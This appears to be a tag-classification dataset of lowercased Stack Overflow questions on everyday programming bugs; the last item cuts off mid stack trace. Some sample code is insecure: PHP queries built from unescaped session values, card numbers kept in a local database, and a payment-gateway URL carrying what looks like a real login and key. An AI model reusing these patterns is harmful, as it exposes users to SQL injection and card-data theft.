more than one thing that needs to be true in if statement for it to execute  c++  if i want to make a if statement that requires more than one thing to be true do i need to do it with  else if   because i think it looks ugly so i would prefer if i could solve that in one statement.     here is the code:    <pre><code>if(x == 2 or 4 or 6 or 8 or 10) {     something...... }    etc. etc.  return 0;  </code></pre>   will that work,c++
gem::installerror: nokogiri requires ruby version < 2.4  >= 2.1.0. rails  after running <code>rails new demo</code> i get the following error:   <pre><code>gem::installerror: nokogiri requires ruby version &lt; 2.4  &gt;= 2.1.0. an error occurred while installing nokogiri (1.7.1)  and bundler cannot continue. make sure that `gem install nokogiri -v  1.7.1 ` succeeds before bundling. </code></pre>   my ruby version is 1.9.3. i could update ruby but i m worried that may create even more problems. any suggestions     more information:    the nokogiri gem is not listed in my gemfile  if i run <code>gem list</code> it includes <code>nokogiri (1.6.8.1 x86-mingw32  1.6.6.2 x86-mingw32  1.6.1 x86-mingw32)</code>,ruby-on-rails
error with insertbefore  not all elements are inserted  if you fiddle with tag string  for example by putting space between <code>&gt;&lt;</code>  the effect is different.   <pre><code>&lt;!doctype html&gt; &lt;head&gt;&lt;title&gt;insertbefore error&lt;/title&gt;&lt;/head&gt; &lt;body&gt; &lt;div id= myelement &gt;above this div 3 elements should be inserted but actually only 2 are  text2 is missing&lt;/div&gt; &lt;script  type= text/javascript &gt;     referencetag = document.getelementbyid( myelement );     var newelement = document.createelement( div );     newelement.innerhtml =  &lt;div&gt;text1&lt;/div&gt;&lt;pre&gt;text2&lt;/pre&gt;&lt;p&gt;text3&lt;/p&gt; ;     for (i=0; i&lt;newelement.childnodes.length; i++) {         alert(newelement.childnodes[i].tagname);         //if you comment-out following line there are 3 alerts but otherwise only two.         referencetag.parentnode.insertbefore(newelement.childnodes[i] referencetag);     } &lt;/script&gt; &lt;/body&gt; </code></pre>,javascript
detect programmatically  if the system lock can be disable or not in android   there are a few apps out there installing which the user is unable to remove his system-security. eg.. when user installs outlook configured with exchange  he is prompted to set a pin/password   and after that the none and slider option is grayed out in the system security page.     can i programmatically detect whether the none or slider is grayed out or not for a given device,android
how could i outline text font   i would like to display text with another color in it s border (outline). i m trying to display a text in mapoverlayview using    <pre><code>[text drawatpoint:cgpointmake(0 30) withfont:[uifont fontwithname:@ helvetica-bold  size:(3 * mkroadwidthatzoomscale(zoomscale))]  </code></pre>   it works fine except i need text to be displayed outlines.,ios
python: remove odd number from a list  i wrote a function to remove odd number from a list  like that:   <pre><code>def remove_odd(l):     for i in l:         if i % 2 != 0:             l.remove(i)     print l     return l  remove_odd([4 5 4]) remove_odd([4 5 4 7 9 11]) remove_odd([4 5 4 7 9 11 12 13]) </code></pre>   it returns:   <pre><code>[4  4] [4  4  9] [4  4  9  12] </code></pre>   -> wrong     but when i change to remove even number:   <pre><code>def remove_even(l):     for i in l:         if i % 2 == 0:             l.remove(i)     print l     return l  remove_even([4 5 4]) remove_even([4 5 4 7 9 11]) remove_even([4 5 4 7 9 11 12 13]) </code></pre>   the answer is ok:   <pre><code>[5] [5  7  9  11] [5  7  9  11  13] </code></pre>   what is wrong with the remove_odd() func  i know people usually create the second list inside the func then append even number to that list  but can we solve this exercise with list.remove()      thank you!,python
streams associated with socket  when using scanner/ printwriter to manipulate those streams  do we need to close them explicitly or does closing the socket  close the scanner and printwriter objects as well,java
mysql aggregate functions with inner join  i have the following tables:   <pre><code>create table `funds_balance` (   `idbusiness` int(11) not null    `premium_positions_credit` decimal(18 2) not null default  0.00     primary key (`idbusiness`) ) engine=innodb default charset=latin1;  create table `elevated_business_queue` (   `idbusiness` int(11) not null    `keyword_text` varchar(200) not null    `city` varchar(50) not null    `bid_amount` decimal(18 2) not null    `no_of_days` int(11) not null ) engine=innodb default charset=latin1; </code></pre>   i am trying to select businesses from the elevated_business_queue table that have enough funds to cover all their bids from the funds_balance table. i came up with the following query:   <pre><code>select ebq.idbusiness        keyword_text        city        bid_amount    from elevated_business_queue ebq   join funds_balance fb      on fb.idbusiness = ebq.idbusiness  group      by idbusiness having premium_positions_credit &gt;= (sum(ebq.bid_amount) + (round((12.36/100)*sum(ebq.bid_amount))  2)); </code></pre>   but it does not work. i get the error unknown column premium_positions_credit. why,mysql
is there a way to make multiple html5 filereader.onload events fire sequentially   i am using the html5 filereader api to get photos locally without the user having to upload them.    in browsers that support it i am allowing multiple selections so i am looping through the selected files and performing a function on each one (tc.editor.renderslide()) as shown below:   <pre><code> handlephotouploads: function(event) {     var self = this;     tc.dialog.destroy();     var files = event.target.files;     var count = files.length + tc.editor.cache.slides.length;     for (var i = 0  f; f = files[i]; i++) {         if (!f.type.match( image.* )) {             continue;         }         var reader = new filereader();         var index = tc.editor.getnewslidesindex();         tc.editor.addnewslide( photo   index);         reader.onload = (function(thefile) {             var slideindex = index;             return function(e) {                 tc.editor.renderslide(slideindex  e.target.result   internal   count);             };         })(f);         reader.readasdataurl(f);     } }  </code></pre>   the problem is that the tc.editor.renderslide() function can take a significant amount of time to perform (performs canvas and dom manipulations) so when dealing with 8 or so large image files the browser gets locked for a substantial amount of time.  even the  processing gif s stop animating during this period.    is there any way to ensure that each reader.onload event fires only after the previous one has completed  this way the user would be given regular progress updates by seeing the result of each call to tc.editor.renderslide() individually rather than the current situation which locks the browser while everything is being processed     i have tried adding a simple settimeout to renderslide() to no avail     any help or ideas would be greatly appreciated.,javascript
output returned data in current div  i have an ajax form where i output data returned via php script using this line of code:   <pre><code>jquery( .commentfeedback ).html(data); </code></pre>   that outputs it to div with class <code>commentfeedback</code>. instead  i want to simply output it in the current div  so i tried:   <pre><code>jquery(this).html(data); </code></pre>   but it did not work. what am i doing wrong     complete js code:   <pre><code>jquery( .commenttopicform ).submit(ajaxsubmit);  function ajaxsubmit(){  var commenttopicform = jquery(this).serialize();  jquery.ajax({     type: post       url:  /testrmv/wp-admin/admin-ajax.php       data: commenttopicform      success:function(data){         jquery( .commentfeedback ).html(data); // empty div to show returned data     } });  return false; } </code></pre>   html:    <pre><code>         &lt;form action=   method= post  class= commenttopicform  /&gt;              &lt;input type= hidden  name= postid  value= &lt; php echo $t_id;  &gt;  /&gt;              &lt;input type= hidden  name= action  value= comment_topic  /&gt;               &lt;div class= t_add_com_txt &gt;                   &lt;textarea name= comment  maxlength= 2000  placeholder= please add a note here... &gt;&lt;/textarea&gt;               &lt;/div&gt;               &lt;div class= t_add_com_sub &gt;                   &lt;input type= submit  value= add note  class= button-primary newcomsub  name= send  /&gt;              &lt;/div&gt;  &lt;/form&gt; </code></pre>,jquery
how to wrap a block around a div tag   i want to wrap a block around some text and a table. my problem is that the second identical block moves into the first one with the id 1.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;meta charset= utf-8 /&gt;     &lt;title&gt;test&lt;/title&gt;   &lt;/head&gt;   &lt;body &gt;     &lt;div id= 1 &gt;       &lt;table cellpadding= 4   style= font-size:400%; float:right; width: 250px; border:solid 1px #aaaaaa; &gt;         &lt;tbody&gt;           &lt;tr&gt;             &lt;th&gt;lorem&lt;/th&gt;           &lt;/tr&gt;         &lt;/tbody&gt;       &lt;/table&gt;       &lt;div style= display:table; text-align:justify &gt;         &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit.&lt;/p&gt;         &lt;div style= text-align: right; &gt;[lorem]&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div style= width=100% &gt;       &lt;table cellpadding= 4   style= font-size:400%; float:right; width: 250px; border:solid 1px #aaaaaa; &gt;         &lt;tbody&gt;           &lt;tr&gt;             &lt;th&gt;lorem&lt;/th&gt;           &lt;/tr&gt;         &lt;/tbody&gt;       &lt;/table&gt;       &lt;div style= display:table; text-align:justify; text-indent:; padding-left:0; padding-right:0; &gt;         &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit.&lt;/p&gt;         &lt;div style= text-align: right; &gt;[lorem]&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   it looks like this: <a href= https://i.stack.imgur.com/huvs5.png  rel= nofollow ><img src= https://i.stack.imgur.com/huvs5.png  alt= it looks like this. ></a>    it should look like this:<a href= https://i.stack.imgur.com/ige32.png  rel= nofollow ><img src= https://i.stack.imgur.com/ige32.png  alt= it should look like this. ></a>    what have i add to the div tag with the id  1,html
iphone: screenshot  is there any method that calls in app when user made screenshot (hold home button + power)     or which methods could be called   like applicationdidbecomeactive or something else   thanks...,iphone
where clause based on conditions  i have a query where i match a column. the value to be matched may be null or not null (some value exists). the problem arises when the matching takes place. in case value is present the matching like   <pre><code>table.column = somevalue </code></pre>   works fine  but in case the value is null  then the matching needs to be done as    <pre><code>table.column is null </code></pre>   is there some way that i can choose the condition being used in the where clause based on the value     thanks in advance,sql
java generate random numbers between range of 30 and 32 digits  reading other posts i have figured i will have to use biginteger to generate 20 000 random numbers between the range of 30 and 32 digits.   <pre><code>public biginteger(int numbits  random rnd) </code></pre>   but this does not allow minimum and maximum range for a number.    thanks,java
reading data from a usb port  i wanna read temperature of the room using a thermocouple in and monitor it.i want to write my program in c#. can anyone help me  ( i prefer to use measurement studio and daqmx),c#
replace multiple characters in c# using .replace without creating a loop  i need to replace multiple characters in c# using <code>.replace</code> without creating a loop resulting in final string of the final character in the loop    <strong>example code:</strong>   <pre><code>string t1= abcd ; t1.replace( a   b ).replace( b   c ).replace( c   d ).replace( d   e ); </code></pre>   <strong>result:</strong> eeee    <strong>expected result:</strong> bcde    how do i get the expected result  i do this for a large number of characters in a string &lt;=100 so i need a easy way. can i do it with replace method or is there some other way,c#
how to stick a null on the end of a char* string in c <pre><code>char* s = (char*)malloc(5); </code></pre>   some processing to add variable number of bytes (numeric) to string.  eg     *s = 50;    i now need to null terminate the string.  this works.   <pre><code>*(s+1) = 0; </code></pre>   but is there a more elegant way     based on comments this looks like way to do it    <pre><code>char* getvalue(char* str) {    while((*str++ = getnextchar()) !=  h )       ;     *str =  \0 ; /* null terminate */     return str; } </code></pre>,c
sql query using case to group data into time intervals  i am totally new to sql and am trying to do some on-the-job training exercises which are currently kicking my rear end.    i am trying to write a query that will look at a table column containing minutes called cc_to_dep and measure that column against some buckets: 0-30mins  30-60mins  1-2hrs  over 2 hrs and then return the data to look something like this    <code>case count    time  698 523        0-30 mins  235 888        30-60 mins  50 853         1-2 hrs  2 855          over 2 hrs</code>    this is what i am using and it labels each record with the time buckets above but it doesn t group them together. i tried a group by clause at the end but it but then the whole thing errored out.   <pre><code>select  (cc_to_dep) as casecount  case  when(cc_to_dep)&lt; 30 then  0-30mins  when(cc_to_dep)&gt;= 30 and (cc_to_dep)&lt;= 60 then  30-60mins  when(cc_to_dep)&gt; 60 and (cc_to_dep)&lt;= 120 then  1-2hrs  else  over 2 hrs  end as time from table1 where year(arr_date)=2013 </code></pre>   any help is appreciated. i have looked around for answers but it is really hard for me to read code in other examples and then apply it to my situation. i ll get there one day but today is not that day.,sql
what does  &  mean here in php   consider this php code:   <pre><code>call_user_func(array(&amp;$this   method_name )  $args); </code></pre>   i know it means pass-by-reference when defining functions  but is it when calling a function,php
reload current function after time withouth reload page  if possible  i d like to reload a jquery <code>prototype</code>/<code>function</code> after a delay without refresh all the page.    <pre><code>my.prototype.reloadme = function () {     settimeout(function(){       my.reloadme();     } 1000);     alert( ok ); }; </code></pre>   i tried with a <code>settimeout</code> in the function but it didn t work: it refreshs only one time.    thanks for your suggestions or explanations.,jquery
need to update values in for loop  i am trying to create a table using a for loop that outputs the year  births  deaths  and new population. i am trying to figure out how to get it so that the new population value gets stored into the next year and accumulates properly. right now it just repeats the initial values for all years. just looking for some tips to point me in the right direction. thanks   <pre><code>void tabout(int&amp; numyears  unsigned int&amp; p  double&amp; b  double&amp; d) { int year; unsigned int n = (p + b * p - d * p); cout &lt;&lt;  year\tnumber of births\tnumber of deaths\tnew population\n ; cout &lt;&lt;  -------------------------------------------------------\n ;  for (int year = 0; year &lt;= numyears; ++year) {         cout &lt;&lt; year &lt;&lt;  \t  &lt;&lt; (p * b) &lt;&lt;  \t  &lt;&lt; setw(8) &lt;&lt; (p * d) &lt;&lt;      \t  &lt;&lt; setw(8) &lt;&lt; (n) &lt;&lt; endl;      cout &lt;&lt;  -------------------------------------------------\n ; } } </code></pre>,c++
transporting crash log of my app to my server  is there a way to send take the crash logs of my app send it to my server   if no is there a alternative mechanism to do this,iphone
specifing machine key in the web.config  are there any security risks when specifing the machine key in the web.config on a web farm,.net
how do i convert a list to an integer   this my code:   <pre><code>snuma = random.sample([4 8 3]  1) snumb = random.sample([7 2 6]  1) snumc = random.sample([1 5 9]  1)  sgna = random.choice([ +   -   /   * ]) sgnb = random.choice([ +   -   /   * ]) sgnc = random.choice([ +   -   /   * ])  if sgna ==  -  :     sum1 = snuma - bnuma     print  minus  if sgna ==  /  :     sum1 = snuma / bnuma     print  divide  </code></pre>   whenever i run this code i get an error message telling me that my operands are lists and not integers. i ve looked everywhere and  i still don t know what to do. could i have some help  please,python
how to get hexadecimal value from combined booleans   i want to get a hexadecimal value from four boolean variables something like this example:   <pre><code>boolean[] m = {true  false  true  true}; </code></pre>   i want to get a string or char that hold <code>b</code> which means <code>1011</code> in binary.    ps: i am working on an android app.,java
get re payment from card number already used in authorize.net payment gateway php  i have integrate authorize.net payment gateway with my php application. e.g.    if anyone make payment transaction successfully  then i have saved card number and transactionid in my own database  response generated by authorize.net  now my requirment is make a another payment capture transaction from using that card number and transactionid(if needed). using php script.    i have used a url for refund by authorize.net exist card number and transactionid. e.g    <code>$response = file_get_contents( https://secure.authorize.net/gateway/transact.dll x_version=3.1&amp;x_type=credit&amp;x_amount= .$amount. &amp;x_card_num= .$cardnumber. &amp;x_delim_data=true&amp;x_relay_response=false&amp;x_login=36h3ramp5x&amp;x_tran_key=6vtf765y5mx238mt&amp;x_trans_id= .$transactionid);</code>    in this url  <code>x_type=credit</code>    i have used <code>x_type=auth_capture</code>    but it gives invalid card number error    please let me know answer asap.    thanks in advance,php
c++ random number guessing game - variable not declared errors  so i have to create a random number guessing game. i know there are other questions similar  but i would much appreciate if somebody could point me in the right direction  please. i am very new to c++.    my problem seems to be that the variables are not being picked up in each of the difficulty functions. i get the not declared error.    many thanks.   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;ctime&gt;  using namespace std;  int easy() {     srand(seed);     randomnumber = 1 + rand() %12;      cout &lt;&lt;  i am thinking of a number between 1 and 12. can you guess what it is   &lt;&lt; endl;     cout &lt;&lt; randomnumber &lt;&lt; endl;     cin &gt;&gt; usernumber;      while (!win)     {         if (usernumber &lt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too low. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else if (usernumber &gt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too high. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else         {             numofattempts++;             cout &lt;&lt;  congratulations. you guessed the correct number. it took you   &lt;&lt; numofattempts &lt;&lt;   attempts.  &lt;&lt; endl;             cout &lt;&lt;  your score is   &lt;&lt; playerscore &lt;&lt; endl;             win = true;         }     } }  int medium() {     srand(seed);     randomnumber = 1 + rand() %30;      cout &lt;&lt;  i am thinking of a number between 1 and 30. can you guess what it is   &lt;&lt; endl;     cout &lt;&lt; randomnumber &lt;&lt; endl;     cin &gt;&gt; usernumber;      while (!win)     {         if (usernumber &lt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too low. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else if (usernumber &gt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too high. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else         {             numofattempts++;             cout &lt;&lt;  congratulations. you guessed the correct number. it took you   &lt;&lt; numofattempts &lt;&lt;   attempts.  &lt;&lt; endl;             cout &lt;&lt;  your score is   &lt;&lt; playerscore &lt;&lt; endl;             win = true;         }     } }  int hard() {     srand(seed);     randomnumber = 1 + rand() %50;      cout &lt;&lt;  i am thinking of a number between 1 and 50. can you guess what it is   &lt;&lt; endl;     cout &lt;&lt; randomnumber &lt;&lt; endl;     cin &gt;&gt; usernumber;      while (!win)     {         if (usernumber &lt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too low. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else if (usernumber &gt; randomnumber)         {             numofattempts++;             cout &lt;&lt;  attempt   &lt;&lt; numofattempts &lt;&lt;  .   &lt;&lt; usernumber &lt;&lt;   is too high. please try again  &lt;&lt; endl;             cin &gt;&gt; usernumber;             playerscore -= 5;         }         else         {             numofattempts++;             cout &lt;&lt;  congratulations. you guessed the correct number. it took you   &lt;&lt; numofattempts &lt;&lt;   attempts.  &lt;&lt; endl;             cout &lt;&lt;  your score is   &lt;&lt; playerscore &lt;&lt; endl;             win = true;         }     } }  int main () {  public:     int randomnumber;     int usernumber;     bool win = false;     unsigned seed = time(0);     int numofattempts = 0;     int playerscore = 50;     int difficulty;      cout &lt;&lt;  please choose a difficulty. 1 = easy  2 = medium  3 = hard.  &lt;&lt; endl;     cin &gt;&gt; difficulty;      switch(difficulty)     {     case 1:         cout &lt;&lt;  you have chosen easy!  &lt;&lt; endl;         easy();         break;     case 2:         cout &lt;&lt;  you have chosen medium!  &lt;&lt; endl;         medium();         break;     case 3:         cout &lt;&lt;  you have chosen hard!  &lt;&lt; endl;         hard();         break;     default:         cout &lt;&lt;  you are playing easy!  &lt;&lt; endl;         easy();         break;     }      return 0; } </code></pre>,c++
issue inserting textarea value in mysql  i want to insert textarea value into database as when user press enter or goes for new line in textarea it inserts &amp;#rl;&amp;#nl; .    for example  if i wrote in textarea in this format   <pre><code>monika ritu archana </code></pre>   then in database it should enter as:   <pre><code> monika ritu archana  </code></pre>   but in database it enter as:   <pre><code>monika &amp;#rl;&amp;#nlritu &amp;#rl;&amp;#nlarchana  </code></pre>   hope you understood my problem.    the textarea i have used is,mysql
warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result  string given in c:\xampp\htdocs\p\forum1\next1.php on line 13 <pre><code>&lt; php session_start(); include  functions/db.php ; $strid=$_session[ stream ]; $catid=$_session[ category ]; echo $strid; if(isset($_post[ submit ])) {     $sql= mysqli_query($con  select * from questions where strid= $strid  );     $num = mysqli_num_rows($sql);     if($num&gt;0)     {      while($row=mysqli_fetch_assoc($sql)){      extract($row);                       if(isset($_post[$row[ quesid ]]))                 {                     $k=$_post[$row[ quesid ]];                     $v=$row[ crsid ];                     echo $k;                     echo $v;                     if($k==1)                     {                             $sql= update tblupdate set very_interested=very_interested+1 where crsid=$v ;                             $res=mysqli_query($con $sql);                           /*  if($res==true)                             {                                    echo  &lt;script language= javascript &gt; ;                                     echo  alert( post successfully ) ;                                     echo  &lt;/script&gt; ;                             }*/                      }                    }           }     } }   &gt; </code></pre>   while loop is not repeating for the second time . and an error warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result  string given in c:\xampp\htdocs\p\forum1\next1.php on line 13 is appearing,php
why do i have a lot of root users in my mysql   i don t remember creating these users in my mysql installation:    debian-sys-maint phpmyadmin    and i have 3 any users and 4 root users.    here s the screen shot taken from phpmyadmin:    <a href= http://imgur.com/aywkxkn  rel= nofollow >http://imgur.com/aywkxkn</a>    and here s the command line version:    <a href= http://imgur.com/pwaccsv  rel= nofollow >http://imgur.com/pwaccsv</a>    should i be wary of these users  or is this the default,mysql
sql one to many relationship and working with foreign keys  i have 2 tables artist and employee as artist(artistid name contact address employeeid) and employee(employeeid name contact email) here artistid and employeeid are primary key and set to auto increment.  i want to insert data into artist table but artist can not insert employee id.so how it will get assigned to artist  what should i write  i have written following query in stored procedure without employee id: insert into artist(name contact address)values(@name @contact @address).    please help.,sql
how to store an array to a 2d array  guys could you teach me how to store an array to a 2d array. help will be appreciated.         <pre><code> if(!splitdata[0].equals( @relation ) &amp;&amp; !splitdata[0].equals( @attribute ) &amp;&amp; !splitdata[0].equals( @data )){                     for(int j=0;j&lt;splitdatamain.length;j++){                     string[] separate = splitdatamain[j].split(   );                                     string[][] data = new string[separate.length][];                     for(int k=0; k&lt;separate.length;k++){                         //system.out.printf( %10s  separate[k]);                         data[j] = separate[k];// this is having an error and i don t know                     }                     } </code></pre>,java
how to anchor link in a accordion  it s possible to target #kodak in accordion with div id     i just want to make link www.xy.cz/#15248756/#kodak   something like this  when user click on link  it will redirect to the accordion and to text with id  kodak .    thank you.    see code below   <pre><code>&lt;div class= vc_tta-panel vc_active  id= 15248756 &gt;  &lt;div class= body &gt;   &lt;div class= content  id= kodak &gt;    &lt;p&gt;text&lt;/p&gt;   &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>,html
how to check if user enters blank line in scanf in c  i need the program to exit the while loop if the user presses enter without entering any float value. thanks!   <pre><code>printf( enter scores\n”);  float scores[10]; int n=0;      while (n&lt;10){      scanf( %f   &amp;scores[n]);     n++;     if (the user presses enter without entering anything){break;}  } </code></pre>,c
why not expand the definition of  references  to eliminate the need for  foreign key    why couldn t the definition of <code>references</code> be expanded to also support table constraints  and then <code>foreign key</code> could be eliminated from sql     it s clear that the difference between <code>references</code> and <code>foreign key</code> is that <code>references</code> is a column constraint  whereas <code>foreign key</code> is a table constraint.     for example  <code>create table t (a int  b int  c int  primary key (a b)  (b c) references t(a b) on delete cascade)</code> is not legal  because you need to have <code>foreign key</code> before <code>(b  c)</code>  because the constraint refers to multiple columns.,sql
indexof - how to find a domain without a subdomain(javascript) <pre><code>var str =  somedomain.com ;  var str2 =  the string that contains test.somedomain.com ;  str2.indexof(str); </code></pre>   the problem is that it matches subdomain  but i need to match it only an exact domain  without matching the subdomain how to do this,javascript
mobile application in asp.net  how to switch off remote server by sending sms from mobile using asp.net,asp.net
asp.net httpmodule execution order  does the order of httpmodule execution match their order in the web.config or is it undefinied,asp.net
moving uilabel upside with nstimer  hi all  i want to move a uilabel up for 5 sec and gets hidden. something we see in games  when we get bouus or something  a text comes up   moves up saying something  +300  etc.    how to do move uilabel  regards,iphone
php preg_match for only numbers and letters  no special characters  i don t want preg_match_all ... because the form field only allows for numbers and letters... just wondering what the right syntax is...    nothing fancy ... just need to know the right syntax for a preg_match statement that looks for only numbers and letters. something like    <pre><code>preg_match( /^([^.]+)\.([^.]+)\.com$/   $unit) </code></pre>   but that doesn t look for numbers too....,php
what are the difference between blocks and functions in iphone <pre><code>     double(^simpleblock)(double int  double ) = ^(double n3 int n1 double n2){    nslog(@ block with three parameter );   return n1*n2*n3; </code></pre>   };    what are the difference between blocks and functions in iphone.which one is better.,iphone
how do i fix my illegal offset   i ve been trying to make this code work  but (with my small knowledge of coding) i can t seem to. any ideas on how to do this     the error is as follows:    <blockquote>     warning: illegal offset type in isset or empty in c:\uwamp\www\undersokning\classes\session.php on line 4   </blockquote>  <pre><code>&lt; php class session {     public static function exists($name) {         return (isset($_session[$name]))   true : false;     }      public static function put($name  $value) {         return $_session[$name] = $value;     }      public static function get($name) {         return $_session[$name];     }      public static function delete($name) {         if(self::exists($name)) {             unset($_session[$name]);         }     } } </code></pre>,php
"centering an image with display:table-cell  i want to center-align and bottom-align an <code>&lt;img&gt;</code> in a container block. the <code>&lt;img&gt;</code> needs to be constrained to the container dimensions  so <code>max-width:100%</code> and <code>max-height:100%</code> are set on it. also i need to align a label to the top-right corner of the <code>&lt;img&gt;</code>  which makes things more complicated.    i have a working version using <code>display:inline-block</code> and <code>line-height</code> (below):    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.block {
   line-height: 236px;
   text-align: center;
   width: 236px;
   height: 236px;
   background: rgba(255  0  0  .3);
 }
 .flex {
   background: rgba(255  0  0  .3);
   display: inline-block;
   vertical-align: bottom;
   position: relative;
   line-height: 18px;
 }
 img {
   display: block;
   max-width: 236px;
   max-height: 236px;
   width: auto;
   height: auto;
 }
 label {
   position: absolute;
   top: 0;
   right: 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= block &gt;
   &lt;div class= flex &gt;
     &lt;img src= http://i.imgur.com/x7q4e80.png  /&gt;
     &lt;label&gt;x&lt;/label&gt;
   &lt;/div&gt;
 &lt;/div&gt;
 &lt;br&gt;
 &lt;!-- 374 × 187 --&gt;
 &lt;div class= block &gt;
   &lt;div class= flex &gt;
     &lt;img src= http://i.imgur.com/dby1wki.png  /&gt;
     &lt;label&gt;x&lt;/label&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= http://codepen.io/benwise/pen/pnnejr editors=1100  rel= nofollow >view on codepen</a>    however this requires a reset on the <code>line-height</code> of the label. is it possible to use a different method like <code>display:table-cell</code> to center and bottom-align the content     my closest attempt is below:    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.block {
   display: table-cell;
   vertical-align: bottom;
   width: 236px;
   height: 236px;
   background: rgba(255  0  0  .3);
 }
 .flex {
   background: rgba(255  0  0  .3);
   display: table-cell;
   vertical-align: bottom;
   position: relative;
 }
 img {
   display: block;
   max-width: 236px;
   max-height: 236px;
   width: auto;
   height: auto;
 }
 label {
   position: absolute;
   top: 0;
   right: 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= block &gt;
   &lt;div class= flex &gt;
     &lt;img src= http://i.imgur.com/x7q4e80.png  /&gt;
     &lt;label&gt;x&lt;/label&gt;
   &lt;/div&gt;
 &lt;/div&gt;
 &lt;br&gt;
 &lt;!-- 374 × 187 --&gt;
 &lt;div class= block &gt;
   &lt;div class= flex &gt;
     &lt;img src= http://i.imgur.com/dby1wki.png  /&gt;
     &lt;label&gt;x&lt;/label&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= http://codepen.io/benwise/pen/ekkokx editors=1100  rel= nofollow >view on codepen</a>",css
why is this loop not running  <pre><code>n=int(input( kiek elementų turės tavo sąrašas )) a=[] n=0 t=0 teig=int(input( įvesk teigiamą elementą kurį noprėsi pridėti prie sąrašo )) neig=int(input( įvesk neigiamą elementą kurį norėsi pridėti prie sąrašo )) for a in range(1 n+1): # here #########     t=int(input( įvesk %i masyvo elementą %(a)))     a.append(t)** for x in a:     if x&gt;0:         t=t+1     else:         n=n+1 if n&lt;t:     a=t-n else:     a=n-t for x in range(1 a+1):     if n&lt;t:         a.append(teig)     else:         a.append(neig) </code></pre>   why is the marked loop not working  i don t get input line for some reason.,python
how to access a button in header view of navigation drawer   i m using navigation view in my application. i ve placed a button in the navigation header. how can i access the button     <img src= https://i.stack.imgur.com/uekcd.png  alt= edit profile is the name of button >,android
app crashed when alertdialog is about  i have a list view  the contain is populated from a database. and i put a button on each row  when it s clicked it shows an alertdialog box.    i have no errors on my project  but the app crashes everytime i click the button for the alertdialog box.    here s my code:   <pre><code>donate_now.setonclicklistener(new onclicklistener() {  public void onclick(view view) {    alertdialog.builder alertbox = new alertdialog.builder(projectslist.this);    alertbox.settitle( sms );    alertbox.setmessage (html.fromhtml(( ihr sms wird vorbereitet. bitte                          bestätigen sie mit  ok  und senden sie danach die sms ab!                          &lt;p&gt;&lt;small&gt;sie helfen dem projekt mit   +mpriceindex +  .                          betrag je sms zzgl. transport. der betrag abzüglich 17 cent                          geht direkt an die partner-organisation. )));                                                     alertbox.setneutralbutton( ok   new dialoginterface.onclicklistener() {  public void onclick(dialoginterface arg0  int arg1) {     intent sendintent = new intent(intent.action_view);     sendintent.putextra( address   mshortcodeindex);      sendintent.putextra( sms_body   mkeywordindex);      sendintent.settype( vnd.android-dir/mms-sms );     startactivity(sendintent);    }      });   alertbox.show(); </code></pre>   can anybody help me analyze where do i go wrong     here s the debug:   <pre><code>11-14 10:38:37.834: e/androidruntime(509): android.view.windowmanager$badtokenexception: unable to add window -- token android.app.localactivitymanager$localactivityrecord@44c1e1b0 is not valid; is your activity running  11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewroot.setview(viewroot.java:468) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:177) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:91) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.window$localwindowmanager.addview(window.java:424) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.dialog.show(dialog.java:239) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.alertdialog$builder.show(alertdialog.java:802) 11-14 10:38:37.834: e/androidruntime(509):  at spendino.de.projectslist$mysimplecursoradapter$2.onclick(projectslist.java:213) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.view.performclick(view.java:2364) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.view.ontouchevent(view.java:4179) 11-14 10:38:37.834: e/androidruntime(509):  at android.widget.textview.ontouchevent(textview.java:6541) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.view.dispatchtouchevent(view.java:3709) 11-14 10:38:37.834: e/androidruntime(509):  at 